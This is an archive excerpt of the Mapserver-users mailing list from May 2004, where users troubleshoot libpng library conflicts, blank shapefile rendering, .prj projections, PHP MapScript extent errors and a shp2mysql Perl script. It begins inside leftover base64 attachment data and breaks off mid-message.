flT9qPqRqR4TAAQQ9lqNoLloCkbVj6ofVT+qflT9qHpaqCcVAAQQC/Hm4r+JbVT9qPpR9aPq R9WPqqeFepIAQABh76uRasGo+lH1o+pH1Y+qH1VPC/WkAoAAwjmvNtg8Nqp+VP2o+lH1o+pH pnqSAEAA4VstMtg8Nqp+VP2o+lH1o+pHpnriAUAAEVgDOdg8Nqp+VP2o+lH1o+pHpnoiAUAA EV7ZP9g8Nqp+VP2o+lH1o+pHpnpiAEAAMdJ0fHMUjIJRMApGwSigJwAIoNEz+0fBKBgFo2AU DB8AEECjtdooGAWjYBSMguEDAAJotFYbBaNgFIyCUTB8AEAAjdZqo2AUjIJRMAqGDwAIoNFa bRSMglEwCkbB8AEAAYTzHEhkQPkhyqNgFIyCUTAKRgGFgJhF+wABRFStNrr6fxSMglEwCkbB kAAAATQ6AjkKRsEoGAWjYPgAgAAardVGwSgYBaNgFAwfABBAo7XaKBgFo2AUjILhAwACaLRW GwWjYBSMglEwfABAAI3WaqNgFIyCUTAKhg8ACKDRWm0UjIJRMApGwfABAAE0WquNglEwCkbB KBg+ACCARmu1UTAKRsEoGAXDBwAE0GitNgpGwSgYBaNg+ACAABqt1UbBKBgFo2AUDB8AEECj tdooGAWjYBSMguEDAAJotFYbBaNgFIyCUTB8AEAAjdZqo2AUjIJRMAqGDwAIoNFabRSMglEw CkbB8AEAATRaq42CUTAKRsEoGD4AIIBGa7VRMApGwSgYBcMHAATQaK02CkbBKBgFo2D4AIAA Gq3VRsEoGAWjYBQMHwAQQKO12igYBaNgFIyC4QMAAmi0VhsFo2AUjIJRMHwAQACN1mqjYBSM glEwCoYPAAig0VptFIyCUTAKRsHwAQABNFqrjYJRMApGwSgYPgAgwAChnINWzz/pGAAAAABJ RU5ErkJggg== --STEFAN40bb07b775e6-- From arnulf.christl at ccgis.de Mon May 31 04:32:25 2004 From: arnulf.christl at ccgis.de (Arnulf Christl) Date: Mon, 31 May 2004 13:32:25 +0200 Subject: [Mapserver-users] Javascript solutions for navigating In-Reply-To: <00d901c44488$c1602080$1e00a8c0@sit.locale> References: <00d901c44488$c1602080$1e00a8c0@sit.locale> Message-ID: <40BB17C9.30005@ccgis.de> Giuseppe Chielli wrote: >Hi! I'm just studying mapserver and I follow the discussion in the list, but I can't understand if there is a javascript solution already implemented for viewing and consulting a map (for example, implementation of tools like zoom in and zoom out with boxes, and so on for a better graphical interface). I refer to a Mapserver compliant solution, of course. >I apologize for my little knowledge of Mapserver. > >Thanks for your answers. > > Hi, maybe it would make sense for you to dig a little into standardisation and interoperability. You can basically use any WebGIS or internet GIS client to view and query maps from UMN MapServer, if you configure it as a web map service as defined in the OGC WMS standard. http://mapserver.gis.umn.edu/doc40/wms-server-howto.html For further details you can also have a look at the homepage of the Mapbender project http://www.mapbender.org it contains more information about this WMS implementing mapping client. Regards, Arnulf. -- ---------------------------- CCGIS Christl & Stamm GbR ---------------------------- http://www.ccgis.de http://www.mapbender.org ---------------------------- Service: +49 (0)228 90826 0 Direct: +49 (0)228 90826 23 Fax: +49 (0)228 90826 11 ---------------------------- CCGIS Christl & Stamm GbR Siemensstra?e 8 53121 Bonn GERMANY From dmorissette at dmsolutions.ca Mon May 31 07:15:31 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 31 May 2004 10:15:31 -0400 Subject: [Mapserver-users] problems with symbols on lines In-Reply-To: <1074025409@web.de> References: <1074025409@web.de> Message-ID: <40BB3E03.5010007@dmsolutions.ca> Karsten Hoffmann wrote: > Hello, > > I'm experimenting with symbols and I think that there are some problems with drawing symbols on lines. > I've tried to draw simple vector-symbols on lines. There were no problemes with closed vector-symbols but when I tried to draw non-closed vector symbols on lines the mapserver closed and filled them. > Is this perhaps an error in the source code? I'm using MapServer 4.0 and 4.1 on Windows 2000 and XP. > To better unterstand me I send you a small image of the drawn symbols beside a line. > I have heard the same thing before but never looked into it, so I don't know if it's a bug or a feature. If you don't get any other reply from someone explaining why things are this way then you could file a bug in bugzilla so that we investigate this and solve the mistery. -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From TMitchell at lignum.com Mon May 31 08:09:46 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Mon, 31 May 2004 08:09:46 -0700 Subject: [Mapserver-users] How does one create .map files? In-Reply-To: <2A6FDD75AE04BE4A9E8C918D3C09FB076F8B@ptolemy.topozone.com> Message-ID: > I DID share . There's not much more to say. Simply create your MAP Can you tell we aren't C writers :) From devel at itdownunder.com.au Mon May 31 08:28:57 2004 From: devel at itdownunder.com.au (Andrew Rich) Date: Tue, 1 Jun 2004 01:28:57 +1000 Subject: [Mapserver-users] Setup errors In-Reply-To: <002d01c4464c$49f26e20$65c8a8c0@arlaptop> Message-ID: <000301c44723$fef3e240$65c8a8c0@arlaptop> This is a multi-part message in MIME format. ------=_NextPart_000_0004_01C44777.D09FF240 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Fixed it! I found the older version of libpng.so.2 install in /usr/lib while the new version was in /usr/local/lib Deleted the older version and working now. Andrew -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Andrew Rich Sent: Sunday, 30 May 2004 11:45 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Setup errors Hello all I am setting up Mapserver for the first time and require some help when I have trouble. At the moment I believe Mapserv is compiling ok but one of the dependencies has a problem. Linux Platform (RH 7.3) GD 2.0.22 Freetype 1.3.1 Jpeg-6b Libpng 1.2.5 Mapserver 4.2 Proj 4.4.7 Xpm-3.4k Zlib 1.2.1 When running the demo site I receive the following error in the HTTPD (Apache 1.3.27) log: libpng warning: Application was compiled with png.h from libpng-1.2.5 libpng warning: Application is running with png.c from libpng-1.0.14 gd-png: fatal libpng error: Incompatible libpng version in application and library [Sun May 30 23:27:51 2004] [error] [client 203.217.43.110] Premature end of script headers: /var/www/cgi-bin/mapserv Initially I had these but recompiled Libpng-1.2.5 and then fixed a libpng12.so.0 dependancy not found problem: The /usr/local/lib contains the following: [root at tanami src]# ls -al /usr/local/lib/libpng* -rw-r--r-- 1 root root 162990 May 30 22:23 /usr/local/lib/libpng12.a lrwxrwxrwx 1 root root 13 May 30 22:23 /usr/local/lib/libpng12.so -> libpng12.so.0 lrwxrwxrwx 1 root root 19 May 30 22:23 /usr/local/lib/libpng12.so.0 -> libpng12.so.0.1.2.5 -rwxr-xr-x 1 root root 196402 May 30 22:23 /usr/local/lib/libpng12.so.0.1.2.5 lrwxrwxrwx 1 root root 10 May 30 22:23 /usr/local/lib/libpng.a -> libpng12.a lrwxrwxrwx 1 root root 11 May 30 22:23 /usr/local/lib/libpng.so -> libpng.so.3 lrwxrwxrwx 1 root root 11 May 30 22:25 /usr/local/lib/libpng.so.2 -> libpng.so.3 lrwxrwxrwx 1 root root 17 May 30 22:23 /usr/local/lib/libpng.so.3 -> libpng.so.3.1.2.5 -rwxr-xr-x 1 root root 196402 May 30 22:23 /usr/local/lib/libpng.so.3.1.2.5 A ldd mapserv gives the following result: [root at tanami src]# ldd /var/www/cgi-bin/mapserv libgd.so.2 => /usr/local/lib/libgd.so.2 (0x4002b000) libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40064000) libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0x40082000) libpng.so.2 => /usr/lib/libpng.so.2 (0x400c1000) libz.so.1 => /usr/lib/libz.so.1 (0x400e3000) libtiff.so.3 => /usr/lib/libtiff.so.3 (0x400f1000) libm.so.6 => /lib/i686/libm.so.6 (0x40134000) libc.so.6 => /lib/i686/libc.so.6 (0x42000000) libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x40157000) libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x40165000) libpng12.so.0 => /usr/local/lib/libpng12.so.0 (0x4023a000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) libdl.so.2 => /lib/libdl.so.2 (0x40267000) A locate on png.h: (I removed .html files from paste) [root at tanami src]# locate png.h /usr/lib/interchange-4.9.9/foundation/pages/survey/graph.png.html /usr/lib/interchange-4.9.8-200309280658/dist/foundation/pages/survey/gra ph.png.html /usr/include/mozilla-1.0.2/png/png.h /usr/include/png.h.old /usr/local/include/libpng/png.h /usr/local/include/png.h /usr/src/libpng-1.2.5/contrib/gregbook/readpng.h /usr/src/libpng-1.2.5/contrib/gregbook/writepng.h /usr/src/libpng-1.2.5/png.h A locate on png.c: [root at tanami src]# locate png.c /usr/src/gd-2.0.22/gd_png.c /usr/src/gd-2.0.22/gd2topng.c /usr/src/gd-2.0.22/gdparttopng.c /usr/src/gd-2.0.22/gdtopng.c /usr/src/gd-2.0.22/webpng.c /usr/src/libpng-1.2.5/contrib/gregbook/readpng.c /usr/src/libpng-1.2.5/contrib/gregbook/wpng.c /usr/src/libpng-1.2.5/contrib/gregbook/writepng.c /usr/src/libpng-1.2.5/contrib/pngminus/pnm2png.c /usr/src/libpng-1.2.5/png.c /usr/src/libpng-1.2.5/projects/borland/libpng.cpp So can someone please give me an idea what to look for next. Thank you Andrew Rich ------=_NextPart_000_0004_01C44777.D09FF240 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Fixed = it!

 

I found the older version of = libpng.so.2 install in /usr/lib while the new version = was in /usr/local/lib

 

Deleted the older version and = working now.

 

Andrew

 

-----Original = Message-----
From: = mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Andrew Rich
Sent: =
Sunday, 30 May = 2004 11:45 PM
To: mapserver-users at lists.gis.umn.edu
Subject: = [Mapserver-users] Setup errors

 

Hello = all

 

I am setting up Mapserver = for the first time and require some help when I have = trouble.

 

At the moment I believe = Mapserv is compiling ok but one of the dependencies has a = problem.

 

Linux Platform (RH = 7.3)

GD = 2.0.22

Freetype = 1.3.1

Jpeg-6b

Libpng = 1.2.5

Mapserver = 4.2

Proj = 4.4.7

Xpm-3.4k

Zlib = 1.2.1

 

When running the demo site = I receive the following error in the HTTPD (Apache 1.3.27) = log:

libpng warning: Application = was compiled with png.h from libpng-1.2.5

libpng warning: = Application  is  running with png.c from = libpng-1.0.14

gd-png:  fatal libpng error: = Incompatible libpng version in application and library

[Sun May 30 = 23:27:51 2004] [error] [client 203.217.43.110] Premature end of script headers: = /var/www/cgi-bin/mapserv

 

Initially I had these but = recompiled Libpng-1.2.5 and then fixed a libpng12.so.0 dependancy not found = problem: 

 

The /usr/local/lib contains = the following:

[root at tanami src]# ls -al /usr/local/lib/libpng*

-rw-r--r--    1 root     root       = 162990 May 30 22:23 /usr/local/lib/libpng12.a

lrwxrwxrwx    1 root     root       &nbs= p;   13 May 30 22:23 /usr/local/lib/libpng12.so -> = libpng12.so.0

lrwxrwxrwx    1 root     root       &nbs= p;   19 May 30 22:23 /usr/local/lib/libpng12.so.0 -> = libpng12.so.0.1.2.5

-rwxr-xr-x    1 root     root       196402 May 30 = 22:23 = /usr/local/lib/libpng12.so.0.1.2.5

lrwxrwxrwx    1 root     root       &nbs= p;   10 May 30 22:23 /usr/local/lib/libpng.a -> libpng12.a

lrwxrwxrwx    1 root     root       &nbs= p;   11 May 30 22:23 /usr/local/lib/libpng.so -> libpng.so.3

lrwxrwxrwx    1 root     root       &nbs= p;   11 May 30 22:25 /usr/local/lib/libpng.so.2 -> = libpng.so.3

lrwxrwxrwx    1 root     root       &nbs= p;   17 May 30 22:23 /usr/local/lib/libpng.so.3 -> = libpng.so.3.1.2.5

-rwxr-xr-x    1 root     root       = 196402 May 30 22:23 = /usr/local/lib/libpng.so.3.1.2.5

 

A ldd mapserv gives the = following result:

[root at tanami src]# ldd /var/www/cgi-bin/mapserv

        libgd.so.2 =3D> /usr/local/lib/libgd.so.2 = (0x4002b000)

        libjpeg.so.62 =3D> /usr/lib/libjpeg.so.62 = (0x40064000)

        libfreetype.so.6 =3D> /usr/lib/libfreetype.so.6 = (0x40082000)

        libpng.so.2 =3D> /usr/lib/libpng.so.2 = (0x400c1000)

        libz.so.1 =3D> /usr/lib/libz.so.1 = (0x400e3000)

        libtiff.so.3 =3D> /usr/lib/libtiff.so.3 = (0x400f1000)

        libm.so.6 =3D> /lib/i686/libm.so.6 = (0x40134000)

        libc.so.6 =3D> /lib/i686/libc.so.6 = (0x42000000)

        libXpm.so.4 =3D> /usr/X11R6/lib/libXpm.so.4 = (0x40157000)

        libX11.so.6 =3D> /usr/X11R6/lib/libX11.so.6 = (0x40165000)

        libpng12.so.0 =3D> /usr/local/lib/libpng12.so.0 = (0x4023a000)

        /lib/ld-linux.so.2 =3D> /lib/ld-linux.so.2 = (0x40000000)

        libdl.so.2 =3D> /lib/libdl.so.2 = (0x40267000)

 

A locate on png.h: (I = removed .html files from paste)

[root at tanami src]# locate = png.h

/usr/lib/interchange-4.9.9/f= oundation/pages/survey/graph.png.html

/usr/lib/interchange-4.9.8-2= 00309280658/dist/foundation/pages/survey/graph.png.html=

/usr/include/mozilla-1.0.2/p= ng/png.h

/usr/include/png.h.old<= /o:p>

/usr/local/include/libpng/pn= g.h

/usr/local/include/png.h

/usr/src/libpng-1.2.5/contri= b/gregbook/readpng.h

/usr/src/libpng-1.2.5/contri= b/gregbook/writepng.h

/usr/src/libpng-1.2.5/png.h<= o:p>

 

A locate on = png.c:

[root at tanami src]# locate = png.c

/usr/src/gd-2.0.22/gd_png.c<= o:p>

/usr/src/gd-2.0.22/gd2topng.= c

/usr/src/gd-2.0.22/gdparttop= ng.c

/usr/src/gd-2.0.22/gdtopng.c=

/usr/src/gd-2.0.22/webpng.c<= o:p>

/usr/src/libpng-1.2.5/contri= b/gregbook/readpng.c

/usr/src/libpng-1.2.5/contri= b/gregbook/wpng.c

/usr/src/libpng-1.2.5/contri= b/gregbook/writepng.c

/usr/src/libpng-1.2.5/contri= b/pngminus/pnm2png.c

/usr/src/libpng-1.2.5/png.c<= o:p>

/usr/src/libpng-1.2.5/projec= ts/borland/libpng.cpp

 

So can someone please give = me an idea what to look for next.

 

Thank = you

Andrew = Rich

 

------=_NextPart_000_0004_01C44777.D09FF240-- From devel at itdownunder.com.au Mon May 31 08:43:25 2004 From: devel at itdownunder.com.au (Andrew Rich) Date: Tue, 1 Jun 2004 01:43:25 +1000 Subject: [Mapserver-users] Simple Application Message-ID: <000a01c44726$03681a60$65c8a8c0@arlaptop> This is a multi-part message in MIME format. ------=_NextPart_000_000B_01C44779.D5142A60 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi All I think to many this would be a simple task but I would like some suggestions about the best path to follow for the following. All on RH Linux I have a list of objects in a mysql database. I can add the starting and ending Long/Lat into that database for each object. I want to show a Map (mapserver) and as you Pan or move I want to be able activate a Query with returns the current location. Then lookup the matching objects in the mysql table. I think this will be done by calls in the other application. The mysql table is part of another application and with thousands of records I don't with to duplicate them is possible. So is the Itasca a good place to start from? I would start with a world map and drill down to country, most likely Australia. Then click button to find objects which contain this point. The detail of the maps is for assisting in the search not to look at all the layers (at this point). So what type of maps and images would you recommend? Thank you Andrew Rich ------=_NextPart_000_000B_01C44779.D5142A60 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi All

 

I think to many this would = be a simple task but I would like some suggestions about the best path to = follow for the following.

 

All on RH Linux

 

I have a list of objects in a mysql database.  I can add the = starting and ending Long/Lat into that database for each = object.

 

I want to show a Map (mapserver) and as you Pan or move I want to be able activate a Query with returns the = current location.  Then lookup the = matching objects in the mysql table.  I think this will be done by = calls in the other application.

 

The mysql table is part = of another application and with thousands of records I don’t with to = duplicate them is possible.

 

So is the Itasca a good place to start from?

 

I would start with a world map and drill down to = country, most likely Australia. Then click button to find objects which contain this = point.

 

The detail of the maps is for assisting in the search = not to look at all the layers (at this point).

 

So what type of maps and images would you = recommend?

 

Thank you

 

Andrew Rich

 

 

 

------=_NextPart_000_000B_01C44779.D5142A60-- From sli1 at uni-forst.gwdg.de Mon May 31 09:09:36 2004 From: sli1 at uni-forst.gwdg.de (shiming) Date: Mon, 31 May 2004 18:09:36 +0200 Subject: [Mapserver-users] help! newbie's question about displaying the shape file. Message-ID: <40BB58C0.8060804@uni-forst.gwdg.de> Hello, everyone, Recently I installed the MapServer program, and I can run the demo itasca. I can display shape file from ArcView example in MapServer , but when I run with my shape file, there are no image in the image area, just white space, but the legend and the reference are showed. My shape file can be displayed in the ArcView environment. Is there some requirement about the shape file? The unit of extent is geographic. What's wrong with me? Can you point the error for me? Any ideas will be appreciated. Thanks in advance. I use MapServer version 4.0.2 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE SuSE linux 8.2 and apache2, the directory of /usr/local/apache2/htdocs/tmp can be written. The following is .map file MAP NAME XX #EXTENT 110.991 33.0895 111.83 33.8029 EXTENT -180 0 180 90 SIZE 400 300 SHAPEPATH "data" FONTSET "font/fonts.list" IMAGETYPE PNG PROJECTION "proj=latlong" END UNITS dd DEBUG ON WEB TEMPLATE xx_demo.html IMAGEPATH "/usr/local/apache2/htdocs/tmp/" IMAGEURL "/tmp/" LOG /tmp/log.txt END LEGEND STATUS ON LABEL TYPE TRUETYPE FONT arial COLOR 0 0 0 SIZE 12 ANTIALIAS TRUE END END REFERENCE STATUS ON IMAGE "data/reference.png" SIZE 170 138 # EXTENT 110.991 33.0895 111.83 33.8029 EXTENT -180 0 180 90 COLOR -1 -1 -1 OUTLINECOLOR 255 0 0 END # LAYER DEFINITIONS --------------------------------------------- LAYER NAME dxregion TYPE polygon #POLYGON STATUS DEFAULT # OFF DATA dxregion #dxregion # Starts with the keyword CLASS and terminates with the keyword END. CLASS # and each layer must have at least one class. NAME dxregion EXPRESSION /./ # '50' OUTLINECOLOR 128 128 200 # COLOR 225 225 185 END DEBUG ON END END # end of map file From Zamil.Murji at divestco.com Mon May 31 09:13:18 2004 From: Zamil.Murji at divestco.com (Zamil Murji) Date: Mon, 31 May 2004 10:13:18 -0600 Subject: [Mapserver-users] proj question Message-ID: <64FC1B3E23F04C4E931EE3F6D809FF303ABF5A@DIV-MX02.divestco> Hello list, I have some data in a shapefile and the shapefile came with a .prj file. Will mapserver automatically read that .prj file or will I have to specify a PROJECTION in my .map file? If I have to specify something in my .map file, what is the format? Here is the contents of my .prj file: GEOGCS["North_American_Datum_1927",DATUM["D_North_American_1927",SPHEROID["Clarke - 1866",6378206.4,294.9786982139006]],PRIMEM["Greenwich",0],UNIT["Degree",0.017453292519943295]] Thanks Zamil From TMitchell at lignum.com Mon May 31 09:22:08 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Mon, 31 May 2004 09:22:08 -0700 Subject: [Mapserver-users] Simple Application In-Reply-To: <000a01c44726$03681a60$65c8a8c0@arlaptop> Message-ID: >From a data perspective there are some great world images out there, this one was easy to get working: ftp://ftp.glcf.umiacs.umd.edu/esdi/raster/ - file: topo8.tif I have a bunch of other global files that others on the list have provided. I can make these available, but it's going to have to wait a couple weeks when I'm back in the office. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/31/2004 08:43:25 AM: > Hi All > > I think to many this would be a simple task but I would like some > suggestions about the best path to follow for the following. > > All on RH Linux > > I have a list of objects in a mysql database. I can add the > starting and ending Long/Lat into that database for each object. > > I want to show a Map (mapserver) and as you Pan or move I want to be > able activate a Query with returns the current location. Then > lookup the matching objects in the mysql table. I think this will > be done by calls in the other application. > > The mysql table is part of another application and with thousands of > records I don???t with to duplicate them is possible. > > So is the Itasca a good place to start from? > > I would start with a world map and drill down to country, most > likely Australia. Then click button to find objects which contain this point. > > The detail of the maps is for assisting in the search not to look at > all the layers (at this point). > > So what type of maps and images would you recommend? > > Thank you > > Andrew Rich > > > From TMitchell at lignum.com Mon May 31 09:31:33 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Mon, 31 May 2004 09:31:33 -0700 Subject: [Mapserver-users] help! newbie's question about displaying the shape file. In-Reply-To: <40BB58C0.8060804@uni-forst.gwdg.de> Message-ID: > Recently I installed the MapServer program, and I can run the demo itasca. > I can display shape file from ArcView example in MapServer , but when I > run with my shape file, there are no image in the image area, just white > space, but the legend and the reference are showed. > My shape file can be displayed in the ArcView environment. > Is there some requirement about the shape file? > The unit of extent is geographic. > > /usr/local/apache2/htdocs/tmp can be written. 1) First, have a peek in the above folder and view all the image files. Do you see your map in there at all? You may want to delete them all and then re-run that mapserver app so you have fewer images to check out. There SHOULD be an image for the legend, scalebar and map. 2) Can you confirm that you are actually getting a blank/white image file loading in your web page? Or is the web page just not finding the graphic to show you? There is a subtle but important difference here. To find this out, try changing the background colour of your map - oh wait, you don't have one specified, add in under FONTSET: IMAGECOLOR 100 100 100 That should give you a grey-ish background colour. When you run the map again, do you see just a white map or do you see this grey? 3) If you don't see any colour at all, then your web page is not finding the image to load. It could be because the image doesn't exist (that's what step (1) is meant to help discern). The usual culprits are bad IMAGEPATH AND IMAGEURL parameters. These may also be set in your initial html files - so check there too! 4) Is your dxregion data in lat/long? When you view this in Arc view and move your cursor over the map, what kind of numbers do you get for coordinates in the map? If you are not in lat/long units in your map data, then you either need to a) change the overall map projection for your map file or b) add a PROJECTION setting to the end of your LAYER definition. Hope that helps. From aaronkoning at shaw.ca Mon May 31 09:45:27 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Mon, 31 May 2004 09:45:27 -0700 Subject: [Mapserver-users] mscalculate() and explode() Message-ID: <11749121178059.11780591174912@shaw.ca> I would echo out the $extent_to_set[0]ie: floating point numbers at appropriate sizes) prior to $map->setextent. eg: print_r($extent_to_set); die(); Aaron ----- Original Message ----- From: julius muchemi Date: Monday, May 31, 2004 1:37 am Subject: Re: [Mapserver-users] mscalculate() and explode() > Yes the array explode has worked as per your instructions > > Could also somebody sought me out on this next error on the same > coding > > Fatal error: [MapServer Error]: msCalculateScale(): Invalid image > extent. in C:\Program Files\Apache > Group\Apache2\htdocs\Nakmap\nakint.php on line 19 > > > AARON KONING wrote: > The PHP function 'explode' requires two arguments and you have only > provided one. Change the explode function on line 18 to include the > two arguments as per below. > > Function definition from php.net: > > array explode ( string separator, string string [, int limit]) > > Aaron > > > > ----- Original Message ----- > From: julius muchemi > Date: Saturday, May 29, 2004 5:57 am > Subject: [Mapserver-users] mscalculate() and explode() > > > i have ahead with the project and after displaying the the layer > > now want to add zoom and pan capabilities to the previous code. > > I'm still on windows 2000. > > i have the following error in browser which i dont know how to > > solve > > > > Warning: Wrong parameter count for explode() in C:\Program > > Files\Apache Group\Apache2\htdocs\Nakmap\nakint.php on line 18 > > Fatal error: [MapServer Error]: msCalculateScale(): Invalid image > > extent. in C:\Program Files\Apache > > Group\Apache2\htdocs\Nakmap\nakint.php on line 19 > > The code looks like this: > > ?php > > dl("php_mapscript_4.0.1.dll"); > > $map_path = "C:/Program Files/Apache Group/Apache2/htdocs/Nakmap/"; > > $map = ms_newMapObj($map_path."nakuru.map"); > > $val_zsize=3; > > $check_pan="CHECKED"; > > ?> > > > > > > > > > > > > > > " MEHOD="POST"> > > > > > { > > $extent_to_set=explode("EXTENT"); > > $map- > > > >setextent($extent_to_set[0],$extent_to_set[1],$extent_to_set[2],$extent_to_set[3]);$my_extent=ms_newpointObj();> $my_point->setXY("mapa_x", "mapa_y"); > > $my_extent = ms_newrectObj(); > > $my_extent = $map->setextent($extent_to_set[0], > $extent_to_set[1], > > $extent_to_set[2], $extent_to_set[3]); > > } > > ?> > > > $zoom_factor=("zoom")*("zsize"); > > if ($zoom_factor==0) > > { > > $zoom_factor=1; > > $check_pan="CHECKED"; > > $CHECK_zout=""; > > $check_zin=""; > > } > > else if ($zoom_factor<0) > > { > > $check_pan=""; > > $check_zout="CHECKED"; > > $check_zin=""; > > } > > else > > { > > $check_pan=""; > > $check_zout=""; > > $check_zin="CHECKED"; > > } > > $Val_zsize=abs($zoom_factor); > > $map->zoompoint ($zoom_factor, $my_point, $map->width, $map- > > >height, $my_extent); > > $image = $map->draw(); > > $image_url=$image->saveWebImage(); > > $extent_to_html = $map->EXTENT->minx." ".$map->EXTENT->miny." > > ".$map->EXTENT->maxx." ".$map->EXTENT->maxy; > > ?> > > Could trace anything wrong with my zoom and pan code. > SPecifically > > this code > > $map- > > > >setextent($extent_to_set[0],$extent_to_set[1],$extent_to_set[2],$extent_to_set[3]);and > > $extent_to_html = $map->EXTENT->minx." ".$map->EXTENT->miny." > > ".$map->EXTENT->maxx." ".$map->EXTENT->maxy; > > as seem to be source of all the above errors > > Muchemi > > > > > > --------------------------------- > > Do you Yahoo!? > > Friends. Fun. Try the all-new Yahoo! Messenger > > > > --------------------------------- > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger From dlagos at fdcconsult.com Mon May 31 10:16:55 2004 From: dlagos at fdcconsult.com (Daniel Lagos) Date: Mon, 31 May 2004 13:16:55 -0400 Subject: [Mapserver-users] problem with shp2mysql Message-ID: <051a01c44733$12a628c0$cc06a8c0@hercules> This is a multi-part message in MIME format. ------=_NextPart_000_0517_01C44711.8B6BF220 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I Read http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?MySQL I modified the shp2mysql because not found the modules: the line: "use Shape qw/:all/" to "use Geo::ShapeFile::Shape qw/:all/" and line: "$shape =3D new Shape $ARGV[0]" to "$shape =3D new = Geo::ShapeFile::Shape $ARGV[0]" too I run shp2mysql.pl > shp2mysql.pl file_name and got the error: Odd number of elements in hash assignment at = /usr/lib/perl5/site_perl/5.8.0/Geo/ShapeFile/Shape.pm line 30. pliiiisssss...:) . I need help because don't understand PERL. Thank you. PD:I use mapserver4.0, RH9.0, Mysql 4.0, PHP 4.3.2 Daniel Lagos. dlagos at fdcconsult.com ------=_NextPart_000_0517_01C44711.8B6BF220 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi,
 
I Read
 
http://mapser= ver.gis.umn.edu/cgi-bin/wiki.pl?MySQL
 
I modified the shp2mysql because = not found the=20 modules:
 
the line:  "use Shape qw/:all/" to "use Geo::ShapeFile::Shape=20 qw/:all/"
 
and line: "$shape =3D=20 new Shape $ARGV[0]"  to "$shape =3D new Geo::ShapeFile::Shape = $ARGV[0]"=20 too
 
I run shp2mysql.pl
 
> = shp2mysql.pl file_name
 
 and got = the error:
    Odd number of = elements in hash=20 assignment at /usr/lib/perl5/site_perl/5.8.0/Geo/ShapeFile/Shape.pm line = 30.
 
pliiiisssss...:) . I need=20 help because don't understand PERL.
 
Thank you.
 
PD:I use mapserver4.0, RH9.0, Mysql = 4.0, PHP=20 4.3.2
 
Daniel Lagos.
dlagos at fdcconsult.com
 
------=_NextPart_000_0517_01C44711.8B6BF220-- From TMitchell at lignum.com Mon May 31 10:35:52 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Mon, 31 May 2004 10:35:52 -0700 Subject: [Mapserver-users] help! newbie's question about displaying the shape file. In-Reply-To: <40BB694A.2010808@uni-forst.gwdg.de> Message-ID: Are you sure you are drawing the features properly? I don't think you are. -Remove EXPRESSION from your layer stuff, you don't need it yet, that might be the problem. -You should have a SYMBOL setting in your CLASS section. The default with the recent version of mapserver draws a very thin line, but your version may not have that feature. Add this after your REFERENCE section: SYMBOL NAME "circle" TYPE ellipse FILLED true POINTS 1 1 END END Then add: SYMBOL 'circle' SIZE 2 to your layer CLASS section. -Also, try specifying a COLOR too, therefore your polygons will be filled and you'll see them easily when they do draw See if that helps. You can keep the discussion open in the mapserver list so others can pipe up when they see I'm wrong about something :) Tyler shiming wrote on 05/31/2004 10:20:10 AM: > Thanks for your answering so quickly. > According to your guide, I add the line > IMAGECOLOR 100 100 100 , I check the files under tmp directory, there are > -rw-r--r-- 1 nobody 4294967295 110 2004-05-31 18:53 > XX10860223845231.png > -rw-r--r-- 1 nobody 4294967295 110 2004-05-31 18:53 > XX10860223895232.png > -rw-r--r-- 1 nobody 4294967295 84 2004-05-31 18:53 > XXleg10860223845231.png > -rw-r--r-- 1 nobody 4294967295 524 2004-05-31 18:53 > XXleg10860223895232.png > -rw-r--r-- 1 nobody 4294967295 40128 2004-05-31 18:53 > XXref10860223845231.png > -rw-r--r-- 1 nobody 4294967295 40174 2004-05-31 18:53 > XXref10860223895232.png > I use gimp to show .png, XX10860223845231.png is a dark file, no data > information. > > I check my shape file in arcview, in the upper right corner, it show > 111.41 33.66 > and the like. > > I can show the europe file that come with ArcView software using the > similar files. > I could not figure out why it happened. .shp, .dbf, .shx are enough for > mapserver to display shape file? > > > lism > > index.html > > > > Hello! Welcome! > > > >

> Hello, welcome! >

>

> The following is the GIS data demonstration: >

> >
>
>
> > value="/usr/local/apache2/htdocs/xx/xx_demo.map"> > > > > > > > value="/usr/local/apache2/htdocs/tmp/"> > > >
> > > > template file > > > > MapServer Demo > > > > >

MapServer Demo

>
>
> >
>

>
>

> > {
> $extent_to_set=explode("EXTENT");
> $map-
> >setextent($extent_to_set[0],$extent_to_set[1],$extent_to_set[2],$extent_to_set[3]);$my_extent=ms_newpointObj();
> $my_point->setXY("mapa_x", "mapa_y");
> $my_extent = ms_newrectObj();
> $my_extent = $map->setextent($extent_to_set[0], $extent_to_set[1],
> $extent_to_set[2], $extent_to_set[3]);
> }
> ?>
> > $zoom_factor=("zoom")*("zsize");
> if ($zoom_factor==0)
> {
